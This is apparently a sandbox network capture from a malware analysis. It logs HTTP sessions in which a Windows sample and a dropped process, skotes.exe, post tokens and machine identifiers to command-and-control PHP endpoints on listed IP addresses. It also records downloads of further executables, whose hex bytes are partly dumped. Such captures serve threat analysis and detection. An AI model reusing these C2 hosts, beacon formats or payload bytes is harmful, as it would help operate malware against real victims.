Nov 21, 2024 22:05:07.982702971 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 21:05:07 GMT Content-Type: application/octet-stream Content-Length: 1927680 Last-Modified: Thu, 21 Nov 2024 20:48:33 GMT Connection: keep-alive ETag: "673f9ca1-1d6a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 70 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfpL@Lf@WkH[Lt[L @.rsrcH@.idata @ `+@fjmpujlcP2L@jlhbczjq`LD@.taggant0pL"H@
Nov 21, 2024 22:05:07.982717037 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 22:05:07.983702898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 22:05:07.983774900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 22:05:07.983784914 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 22:05:07.984517097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 22:05:07.984580040 CET	1236	IN	Data Raw: b4 00 fd d2 b3 ee 8f 70 35 5b e0 fd b3 e7 b6 c9 0e 3b e0 71 a4 6c fc d5 61 7d 1d a3 77 3f be 4c a1 eb 92 b0 ca 6f 42 a2 a3 37 de af 4e 97 bf b1 fd 6d 91 a1 0b 47 d5 89 ae ab f4 67 33 3b 98 f0 1e 5b d3 ad cb bb dd b3 8e 97 df f1 b2 ec 25 00 7b 2b Data Ascii: p5[;qla}w?LoB7NmGg3;[%{+6L@0g#q?1;tK+RRbO7USc::?M:Rl:Ncz#3+q97:" 1J=ihrW,G]rz
Nov 21, 2024 22:05:07.984631062 CET	248	IN	Data Raw: 92 8f 73 f1 f9 e3 d3 e5 05 13 6a 22 09 20 cd 21 06 19 a7 55 c8 0b a7 91 65 d0 4b 2a 12 49 8f 03 2b 5e 66 dd 55 22 5c b1 10 71 9e 40 2f 33 73 20 c7 fa bf 71 4f 0a ff 6e b7 59 9e 91 95 b4 f8 74 83 33 9a 60 03 3d 7a 9e f4 92 ab ca 7d 4b 14 6f 84 f6 Data Ascii: sj" !UeKI+^fU"\q@/3s qOnYt3`=z}Ko\ozAh;;Z9b!\|{A91yq1;pbVi -PKx:*+5\1jF:k.7hR:hd$gs8y1y"-^z/z4G#Oj\|i?w+
Nov 21, 2024 22:05:07.985183954 CET	1236	IN	Data Raw: 82 2c fa af d8 63 58 f1 80 1d e2 4d 2f 96 99 3d c8 8f 0a c6 ba 9c 54 fd 40 ab 5c f2 cd 7c 63 66 58 26 49 e4 d2 2b 95 d4 5d 23 d5 6e cc 33 6b 2c 63 48 65 b7 63 17 98 ce b5 4a db ea 81 38 22 3e bb 5d 91 5a af 9b cd 14 3b 99 dd a0 29 eb 81 09 b4 df Data Ascii: ,cXM/=T@\\|cfX&I+]#n3k,cHecJ8">]Z;)*CH\|(dPc;Pi#q]1^PqA;9T\>G~5X5hWj'yj ,`s/sps0ZOK\q7dx~Q E
Nov 21, 2024 22:05:07.985260010 CET	1236	IN	Data Raw: 7d 10 0d a4 99 bb 6f 3d 80 a1 4c 12 68 5a 63 70 13 c7 ef b0 0f 27 dc 6d 36 7d 25 8e c1 c1 3c b6 2d fb db b9 44 23 d1 93 76 4d df f6 e2 0e b1 51 27 86 d5 cb 46 1a 4d 68 d3 10 79 e5 56 83 31 39 cc 49 93 3e 5b 57 f3 51 ce 03 08 55 34 a9 35 dc 1c 12 Data Ascii: }o=LhZcp'm6}%<-D#vMQ'FMhyV19I>[WQU4509Ay0KY!9RrrBrk\|Xb+3E7fW]GcO0z<OpCV_})4y`P7%qTx{X0?DXs~>0&aYF,{
Nov 21, 2024 22:05:08.102605104 CET	1236	IN	Data Raw: f1 87 a5 02 e4 1d c6 fe b4 3a 19 a0 3c eb fe 6e ed 59 a2 db 8d a4 ce 1f 74 6d 7a 6e 6b da 5c e5 34 1b e0 a4 c7 34 25 4a 8b f5 9f 2c eb 75 de eb d8 96 be b4 04 bd 6d a3 00 64 9b c7 7e ae 81 7a cf 1c 54 6b 8e 17 c4 9c e9 dc e8 fe c4 03 d8 b0 95 05 Data Ascii: :<nYtmznk\44%J,umd~zTk){qkiHKLg!ih28>2OOm_f=S0Z[r6G!oqKILM8cBX\v=J:>sn"-%%kEmV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49972	185.215.113.206	80	7840	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 22:05:11.865530014 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKJEHJKJEBGHJJKEBGI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 2d 2d 0d 0a Data Ascii: ------HJKJEHJKJEBGHJJKEBGIContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------HJKJEHJKJEBGHJJKEBGIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HJKJEHJKJEBGHJJKEBGI--
Nov 21, 2024 22:05:13.787988901 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	50105	185.215.113.43	80	8448	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 22:06:05.090594053 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 22:06:06.817462921 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 21:06:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	50110	185.215.113.43	80	8448	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 22:06:08.449736118 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 21, 2024 22:06:09.859586954 CET	746	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 21:06:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 32 62 0d 0a 20 3c 63 3e 31 30 30 38 30 31 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 65 64 36 61 39 63 34 66 35 35 39 34 35 36 65 38 34 30 35 64 34 61 35 63 38 62 64 34 61 61 31 64 61 61 61 38 23 31 30 30 38 30 32 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 30 32 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 30 32 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 [TRUNCATED] Data Ascii: 22b <c>1008010001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbed6a9c4f559456e8405d4a5c8bd4aa1daaa8#1008024001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008025001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008026001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008027001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008028001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	50112	31.41.244.11	80	8448	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 22:06:09.985780954 CET	62	OUT	GET /files/FunnyJellyfish.exe HTTP/1.1 Host: 31.41.244.11
Nov 21, 2024 22:06:11.407754898 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 21:06:11 GMT Content-Type: application/octet-stream Content-Length: 1478320 Last-Modified: Thu, 21 Nov 2024 17:53:29 GMT Connection: keep-alive ETag: "673f7399-168eb0" Accept-Ranges: bytes Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 54 b8 c4 4f 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 50 01 00 00 d2 00 00 00 00 00 00 78 64 01 00 00 10 00 00 00 70 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 d0 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PELTOPxdp@@PL.textCD `.itext`H `.datapT@.bssLWb.idatab@.tlsr.rdatar@@.rsrct@@&@@
Nov 21, 2024 22:06:11.407798052 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 02 08 41 6e 73 69 43 68 61 72 01 00 00 00 00 ff 00 00 00 90 1c Data Ascii: @AnsiChar@string(@AnsiString@@p9@x9@:@:@:@:@:@:@L8@h8@8@TObject@TObject@System%
Nov 21, 2024 22:06:11.407809019 CET	448	IN	Data Raw: 7a 20 df 7a 18 df 7a 10 df 7a 08 df 3a c3 8d 40 00 83 e9 0c 01 c8 01 ca f7 d9 79 13 df 2c 01 df 6c 01 08 df 7c 11 08 df 3c 11 83 c1 10 78 ed df 2c 01 df 3c 11 8b 44 01 08 89 44 11 08 c3 8d 40 00 83 e9 04 01 c8 01 ca f7 d9 df 2c 01 df 3c 11 83 c1 Data Ascii: z zzz:@y,l\|<x,<DD@,<xH9JtA!DAu!@A0!AQ9PAtADA
Nov 21, 2024 22:06:11.407871962 CET	1236	IN	Data Raw: 2b d3 8b c2 a3 38 8a 41 00 83 cb 02 8b d0 83 ea 04 89 1a 5b c3 33 c0 a3 3c 8a 41 00 33 c0 5b c3 90 80 3d 4d 80 41 00 00 74 3d eb 29 80 3d d5 88 41 00 00 75 20 6a 00 e8 85 fb ff ff b9 c4 aa 41 00 b2 01 33 c0 e8 c7 fc ff ff 84 c0 74 19 6a 0a e8 6c Data Ascii: +8A[3<A3[=MAt=)=Au jA3tjlA3uSVWUNjhVj#t0ow}AAAGA]_^[SVWUC$PT$Pu
Nov 21, 2024 22:06:11.407882929 CET	1236	IN	Data Raw: 7b 0c c6 03 00 89 70 fc 5f 5e 5b c3 90 b8 00 01 00 00 f0 0f b0 25 34 8a 41 00 74 4b f3 90 80 3d d5 88 41 00 00 75 e6 6a 00 e8 bf f6 ff ff b8 00 01 00 00 f0 0f b0 25 34 8a 41 00 74 2a 6a 0a e8 a9 f6 ff ff eb c7 90 90 90 3d 2c 0a 04 00 0f 87 0d 01 Data Ascii: {p_^[%4AtK=Auj%4At*j=,0u#DAt^#@AtDA5<A)r8A)8A<AX4A[VW<
Nov 21, 2024 22:06:11.407891035 CET	1236	IN	Data Raw: 72 05 e8 ee f4 ff ff 89 5f f8 8d 43 03 89 44 2e fc 81 fb 30 0b 00 00 72 0a 8d 04 2e 89 da e8 12 f5 ff ff c6 05 34 8a 41 00 00 89 f0 5d 5f 5e 5b c3 89 d7 89 d0 e8 db f8 ff ff 85 c0 74 16 89 c5 89 c2 89 f0 89 f9 e8 8e f4 ff ff 89 f0 e8 47 fc ff ff Data Ascii: r_CD.0r.4A]_^[tG]_^[G,9=MAt[%4At3=AuQRj{ZY%4AtQRjaZY#^Gt~,9wt=0rQRZY1)
Nov 21, 2024 22:06:11.407901049 CET	672	IN	Data Raw: b0 01 eb 02 33 c0 5f 5e 5b 5d c3 8b c0 55 8b ec 83 c4 e4 53 8b 18 33 c0 89 45 f0 55 33 d2 8b c3 e8 68 ff ff ff 59 84 c0 75 02 33 db 8b c3 5b 8b e5 5d c3 8b c0 80 3d 4d 80 41 00 00 74 3d eb 29 80 3d d5 88 41 00 00 75 20 6a 00 e8 f5 ec ff ff b9 dc Data Ascii: 3_^[]US3EU3hYu3[]=MAt=)=Au jA37tjA3u=AujhhjA=ASt)A8?}AA\A3A[SVWA
Nov 21, 2024 22:06:11.408077955 CET	1236	IN	Data Raw: 80 7d e3 00 74 38 8b 45 e4 66 83 38 00 75 2f bb 02 00 00 00 eb 28 bb 03 00 00 00 3b 3c de 74 0f 83 3c de 00 74 09 43 81 fb ff 00 00 00 7e ec 81 fb ff 00 00 00 7f 05 89 3c de eb 02 33 db ff 44 de 04 8b 45 fc 8b 00 0f b7 40 02 01 45 dc 8b 45 dc 3b Data Ascii: }t8Ef8u/(;<t<tC~<3DE@EE;E_^[]UP'PHuESVWH3g3@U3GG=(Atr0uVtUYCG
Nov 21, 2024 22:06:11.408138037 CET	1236	IN	Data Raw: 00 00 73 05 b8 30 0b 00 00 05 d0 04 00 00 c1 e8 0d 83 f8 07 76 05 b8 07 00 00 00 8b c8 b2 ff d2 e2 88 53 e5 c1 e0 0d 66 05 30 0b 66 89 43 fc 0f b7 7b e6 0f b7 c7 8b c8 c1 e1 04 8d 0c 49 81 c1 ef 00 00 00 81 e1 00 ff ff ff 83 c1 30 81 f9 30 73 00 Data Ascii: s0vSf0fC{I00ss0s0v0 3fff%f0fC N0$A$A(A$AA@NuAAAA_^[@SVWU$AA{o
Nov 21, 2024 22:06:11.408152103 CET	1236	IN	Data Raw: c0 66 a3 24 70 41 00 db e2 d9 2d 24 70 41 00 c3 90 6a 00 d9 3c 24 58 c3 90 83 3d 30 80 41 00 00 74 06 ff 15 30 80 41 00 b8 d2 00 00 00 e9 8f 16 00 00 c3 8b c0 53 0f b7 48 04 66 81 e9 b1 d7 74 0f 49 66 83 e9 02 73 0c 8b da ff d3 8b d8 eb 1b 33 db Data Ascii: f$pA-$pAj<$X=0At0ASHftIfs3=$At=Au3gt[@P@SV3Cf=r/f=w)f%f=uSuS$tTAtg^[SVQt&9uE
Nov 21, 2024 22:06:11.527714968 CET	1236	IN	Data Raw: 8f a1 5f 40 df 4e 67 04 cd c9 f2 c9 62 40 96 22 81 45 40 7c 6f fc 65 40 9e b5 70 2b a8 ad c5 9d 69 40 d5 a6 cf ff 49 1f 78 c2 d3 40 a3 14 9b c5 16 ab b3 ef 3d 41 e0 8c e9 80 c9 47 ba 93 a8 41 aa 17 e6 7f 2b a1 16 b6 12 42 6b 55 27 39 8d f7 70 e0 Data Ascii: _@Ngb@"E@\|oe@p+i@Ix@=AGA+BkU'9p\|B0<RB~QC/j\&Cv)/&D'DDYdEJzEb>9FFuuvHM9;5S]=];Z T7aZ%]g']

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	50124	185.215.113.43	80	8448	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 22:06:16.604535103 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 30 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008010001&unit=246122658369
Nov 21, 2024 22:06:17.984878063 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 21:06:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	50128	31.41.244.11	80	8448	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 22:06:18.157509089 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 21, 2024 22:06:19.474915981 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 21:06:19 GMT Content-Type: application/octet-stream Content-Length: 4424192 Last-Modified: Thu, 21 Nov 2024 20:21:11 GMT Connection: keep-alive ETag: "673f9637-438200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 20 c6 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 50 c6 00 00 04 00 00 ea c5 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0e c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2 J@PC@ _qs0 px'@.rsrc p'@.idata q'@ 09q'@ngzqujxo@'@tkrbkghg\C@.taggant0 "`C@
Nov 21, 2024 22:06:19.474948883 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 22:06:19.474963903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 22:06:19.475049019 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 22:06:19.475065947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 22:06:19.475090981 CET	672	IN	Data Raw: 66 70 d0 84 97 33 03 af bf 05 70 38 9c ed ac 2f 42 5f 98 a3 ff 81 0e b1 61 38 f0 43 4a 85 d6 70 fc ed 67 c8 e5 cc c6 bc 73 94 f7 6b df 26 80 39 6d f6 16 88 ca b9 52 76 14 fd fe 12 4b c1 57 de a7 9a 09 78 da ea 96 69 ec 1e c9 8e 1e 5b cf 0d 51 f8 Data Ascii: fp3p8/B_a8CJpgsk&9mRvKWxi[QN6nnnBNgD]%+6:}~h!z;0^$vZ>kJLK'e?Ah&9-_nwhev3B
Nov 21, 2024 22:06:19.475116968 CET	1236	IN	Data Raw: 7f 6b 01 79 fc c4 bf f4 52 83 12 7b 0f bb 16 2c 70 3a 2a 76 13 af 28 53 03 c6 55 e8 03 ab b2 f8 c4 46 05 91 bc a9 d4 01 c4 f6 6d b6 56 fd 03 d5 e1 2d 48 cc 1c 8a 8f c6 8e e5 59 14 43 76 73 da 5a 4c e5 e2 59 fb 31 be d8 ad 22 ff 9e 5b c7 bf da 9a Data Ascii: kyR{,p:v(SUFmV-HYCvsZLY1"[J{/z7K8g\\|kF)Npx'rQ`RlG`:?o$L/R1`+}Fjb9Uss
Nov 21, 2024 22:06:19.475169897 CET	1236	IN	Data Raw: e5 76 5d 71 29 49 ca 8d 6f 9a db ff c2 27 0b 6c 7e ca 0f 77 fc b6 93 a2 85 7f 4e e5 77 9d 06 6c c3 b3 00 b1 7d 8d 94 3f c6 f2 be f4 ce a6 09 7d 88 a4 46 3f a6 75 ee a8 da a6 4e d0 b0 95 e6 08 ec 02 8d 51 bd 5d 4a 30 c3 36 e7 ac 90 b3 99 92 89 a0 Data Ascii: v]q)Io'l~wNwl}?}F?uNQ]J06FJM$P7nWva^;Q9$gvsiWo.{/tlF^yZlY_&lL$.i}\\|4D8dC
